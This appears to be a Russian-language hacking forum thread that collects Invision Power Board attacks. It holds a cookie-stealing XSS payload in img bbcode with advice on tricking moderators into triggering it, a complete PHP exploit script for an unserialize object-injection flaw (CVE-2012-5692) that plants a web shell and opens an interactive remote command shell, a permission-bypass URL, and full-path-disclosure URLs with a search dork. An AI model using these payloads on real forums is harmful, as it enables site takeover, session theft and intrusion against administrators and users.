Invision Power Board 3.2.0 - 3.2.3. Cross Site Scripting Добавляем в свое сообщение Code: [img]src="123" onError="alert(document.cookie);"[/img] + немного соц.инженерии: размещаем пост с таким содержанием, чтобы администратор/модератор его отредактировал, добавляем в конце ядовитый код, маскируем его тэгом [color]. При попытке редактирования происходит выполнение. фикс выпущен 9 марта (аж через 2 месяца после сообщения разработчикам об уязвимости)
Invision Power Board <= 3.3.4 unserialize Regex Bypass PHP: <?php /* So this is the patch that sanitizes, static public function safeUnserialize( $serialized ) { // unserialize will return false for object declared with small cap o // as well as if there is any ws between O and : if ( is_string( $serialized ) && strpos( $serialized, "\0" ) === false ) { if ( strpos( $serialized, 'O:' ) === false ) { // the easy case, nothing to worry about // let unserialize do the job return @unserialize( $serialized ); } else if ( ! preg_match('/(^|;|{|})O:[0-9]+:"/', $serialized ) ) { // in case we did have a string with O: in it, // but it was not a true serialized object return @unserialize( $serialized ); } } return false; } And this is what bypasses it ( By @i0n1c ) $payload = urlencode('a:1:{i:0;O:+15:"db_driver_mysql":1:{s:3:"obj";a:2:{s:13:"use_debug_log";i:1;s:9:"debug_log";s:12:"cache/sh.php";}}}'); Which makes this an IPB 0day. lulz! - webDEViL */ /* ---------------------------------------------------------------- Invision Power Board <= 3.3.4 "unserialize()" PHP Code Execution ---------------------------------------------------------------- author..............: Egidio Romano aka EgiX mail................: n0b0d13s[at]gmail[dot]com software link.......: http://www.invisionpower.com/ +-------------------------------------------------------------------------+ | This proof of concept code was written for educational purpose only. | | Use it at your own risk. Author will be not responsible for any damage. | +-------------------------------------------------------------------------+ [-] Vulnerable code in IPSCookie::get() method defined in /admin/sources/base/core.php 4015. static public function get($name) 4016. { 4017. // Check internal data first 4018. if ( isset( self::$_cookiesSet[ $name ] ) ) 4019. { 4020. return self::$_cookiesSet[ $name ]; 4021. } 4022. else if ( isset( $_COOKIE[ipsRegistry::$settings['cookie_id'].$name] ) ) 4023. { 4024. $_value = $_COOKIE[ ipsRegistry::$settings['cookie_id'].$name ]; 4025. 4026. if ( substr( $_value, 0, 2 ) == 'a:' ) 4027. { 4028. return unserialize( stripslashes( urldecode( $_value ) ) ); 4029. } The vulnerability is caused due to this method unserialize user input passed through cookies without a proper sanitization. The only one check is done at line 4026, where is controlled that the serialized string starts with 'a:', but this is not sufficient to prevent a "PHP Object Injection" because an attacker may send a serialized string which represents an array of objects. This can be exploited to execute arbitrary PHP code via the "__destruct()" method of the "dbMain" class, which calls the "writeDebugLog" method to write debug info into a file. PHP code may be injected only through the $_SERVER['QUERY_STRING'] variable, for this reason successful exploitation of this vulnerability requires short_open_tag to be enabled. [-] Disclosure timeline: [21/10/2012] - Vulnerability discovered [23/10/2012] - Vendor notified [25/10/2012] - Patch released: http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-security-update [25/10/2012] - CVE number requested [29/10/2012] - Assigned CVE-2012-5692 [31/10/2012] - Public disclosure */ error_reporting(0); set_time_limit(0); ini_set('default_socket_timeout', 5); function http_send($host, $packet) { if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n"); fputs($sock, $packet); return stream_get_contents($sock); } print "\n+-----------------------------------+"; print "\n| Invision Power Board 0day Exploit |"; print "\n+-----------------------------------+\n"; if ($argc < 3) { print "\nUsage......: php $argv[0] <host> <path>\n"; print "\nExample....: php $argv[0] localhost /"; print "\nExample....: php $argv[0] localhost /ipb/\n"; die(); } list($host, $path) = array($argv[1], $argv[2]); $packet = "GET {$path}index.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Connection: close\r\n\r\n"; $_prefix = preg_match('/Cookie: (.+)session/', http_send($host, $packet), $m) ? $m[1] : ''; class db_driver_mysql { public $obj = array('use_debug_log' => 1, 'debug_log' => 'cache/sh.php'); } # Super bypass by @i0n1c $payload = urlencode('a:1:{i:0;O:+15:"db_driver_mysql":1:{s:3:"obj";a:2:{s:13:"use_debug_log";i:1;s:9:"debug_log";s:12:"cache/sh.php";}}}'); $phpcode = '<?error_reporting(0);print(___);passthru(base64_decode($_SERVER[HTTP_CMD]));die;?>'; $packet = "GET {$path}index.php?{$phpcode} HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cookie: {$_prefix}member_id={$payload}\r\n"; $packet .= "Connection: close\r\n\r\n"; http_send($host, $packet); $packet = "GET {$path}cache/sh.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cmd: %s\r\n"; $packet .= "Connection: close\r\n\r\n"; if (preg_match('/<\?error/', http_send($host, $packet))) die("\n[-] short_open_tag disabled!\n"); while(1) { print "\nipb-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; $response = http_send($host, sprintf($packet, base64_encode($cmd))); preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n"); } ?> (c) exploit-db.com
скорее фишка, которая катит на некоторых версиях ipb, пока не разобрался от чего все зависит. суть: есть вероятность подписатся на тему , зная ее номер с пользователя не имеющего прав для просмотра темы. /subscription.php?do=addsubscription&t=[номер_темы]
IPBoard 3.x.x/3.4 Full Path Disclosure Code: Exploit: admin/upgrade/index.php?app=upgrade&s=§ion[]=index&do=login Dork: intext:Community Forum Software by IP.Board Fix: Turn off display_errors in php.ini //...Leaked bY beBoss..//
IPBoard 3.x.x/3.4 Full Path Disclosure Code: http://localhost/forum/admin//setup/templates/skin_setup.php http://localhost/forum/admin//setup/cli/output.php http://localhost/forum/admin//setup/applications/install/sections/ http://localhost/forum/admin//sources/classes/ads.php http://localhost/forum/admin//sources/classes/archive/reader/sql.php http://localhost/forum/admin//sources/classes/archive/restore/sql.php http://localhost/forum/admin//sources/classes/archive/writer/sql.php http://localhost/forum/admin//sources/classes/bbcode/custom/ccs.php http://localhost/forum/admin//sources/classes/mapping/engines/bing.php http://localhost/forum/admin//sources/classes/mapping/engines/google.php http://localhost/forum/admin//sources/classes/output/adminOutput.php http://localhost/forum/admin//sources/classes/output/formats/html/htmlOutput.php http://localhost/forum/admin//sources/classes/output/formats/xml/xmlOutput.php http://localhost/forum/admin//sources/classes/sabre/directory/templates.php http://localhost/forum/admin//sources/classes/sabre/directory/groups.php http://localhost/forum/admin//sources/classes/sabre/files/templates.php http://localhost/forum/admin//sources/classes/sabre/lock/nolocks.php http://localhost/forum/admin//sources/classes/sabre/root/skins.php http://localhost/forum/admin//sources/classes/url/apis/bitly/api.php http://localhost/forum/admin//sources/classes/url/apis/topic/api.php http://localhost/forum/admin//sources/loginauth/convert/auth.php http://localhost/forum/admin//sources/template_plugins/tp_addtohead.php http://localhost/forum/admin//sources/template_plugins/tp_currency.php http://localhost/forum/admin//sources/template_plugins/tp_date.php http://localhost/forum/admin//sources/template_plugins/tp_editor.php http://localhost/forum/admin//sources/template_plugins/tp_expression.php http://localhost/forum/admin//sources/template_plugins/tp_format_number.php http://localhost/forum/admin//sources/template_plugins/tp_include.php http://localhost/forum/admin//sources/template_plugins/tp_ipcmedia.php http://localhost/forum/admin//sources/template_plugins/tp_js_module.php http://localhost/forum/admin//sources/template_plugins/tp_lang.php http://localhost/forum/admin//sources/template_plugins/tp_replacement.php http://localhost/forum/admin//sources/template_plugins/tp_resize_image.php http://localhost/forum/admin//sources/template_plugins/tp_striping.php http://localhost/forum/admin//sources/template_plugins/tp_template.php http://localhost/forum/admin//sources/template_plugins/tp_url.php http://localhost/forum/admin//sources/template_plugins/tp_variable.php http://localhost/forum/admin//applications/core/setup/versions/install/knownSettings.php http://localhost/forum/admin//applications/forums/extensions/content/plugin_blocks/site_poll/plugin.php http://localhost/forum/admin//applications/forums/sql/mysql_topics_queries.php http://localhost/forum/admin//applications/members/extensions/content/feed_blocks/members.php http://localhost/forum/admin//applications/members/extensions/content/plugin_blocks/status_updates/plugin.php http://localhost/forum/admin//applications/members/extensions/content/plugin_blocks/online_friends/plugin.php http://localhost/forum/admin//applications/members/skin_cp/cp_skin_groups.php http://localhost/forum/admin/setup/applications/upgrade/sections/ http://localhost/forum/admin/setup/applications/install/sections/ http://localhost/forum/admin/setup/cli/output.php http://localhost/forum/admin//applications_addon/other/customSidebarBlocks/extensions/coreVariables.php http://localhost/forum/admin//applications_addon/other/customSidebarBlocks/skin_cp/cp_skin_e_CSB.php http://localhost/forum/admin//applications_addon/other/portal/skin_cp/cp_skin_portal.php http://localhost/forum/admin//applications_addon/other/shoutbox/extensions/admin/group_form.php http://localhost/forum/admin//applications_addon/other/shoutbox/extensions/coreVariables.php http://localhost/forum/admin//applications_addon/other/shoutbox/skin_cp/cp_skin_moderators.php http://localhost/forum/admin//applications_addon/other/shoutbox/skin_cp/cp_skin_overview.php http://localhost/forum/admin//applications_addon/other/shoutbox/skin_cp/cp_skin_shoutbox_group_form.php http://localhost/forum/admin//applications_addon/other/shoutbox/skin_cp/cp_skin_tools.php http://localhost/forum/admin//applications_addon/other/shoutbox/skin_cp/cp_skin_banned.php http://localhost/forum//interface//twitter/ http://localhost/forum/ips_kernel/classCacheXcache.php http://localhost/forum/ips_kernel/classDbMysqlClient.php http://localhost/forum/ips_kernel/classImageImagemagick.php http://localhost/forum/ips_kernel/facebook-client/facebook_desktop.php http://localhost/forum/ips_kernel/facebook-client/jsonwrapper/jsonwrapper_inner.php http://localhost/forum/ips_kernel/pop3class/browse_mailbox.php http://localhost/forum/ips_kernel/pop3class/parse_message.php http://localhost/forum/ips_kernel/sabre/Sabre/HTTP/AWSAuth.php и так далее) //Когда постишь, проверяй переносы строк //BigBear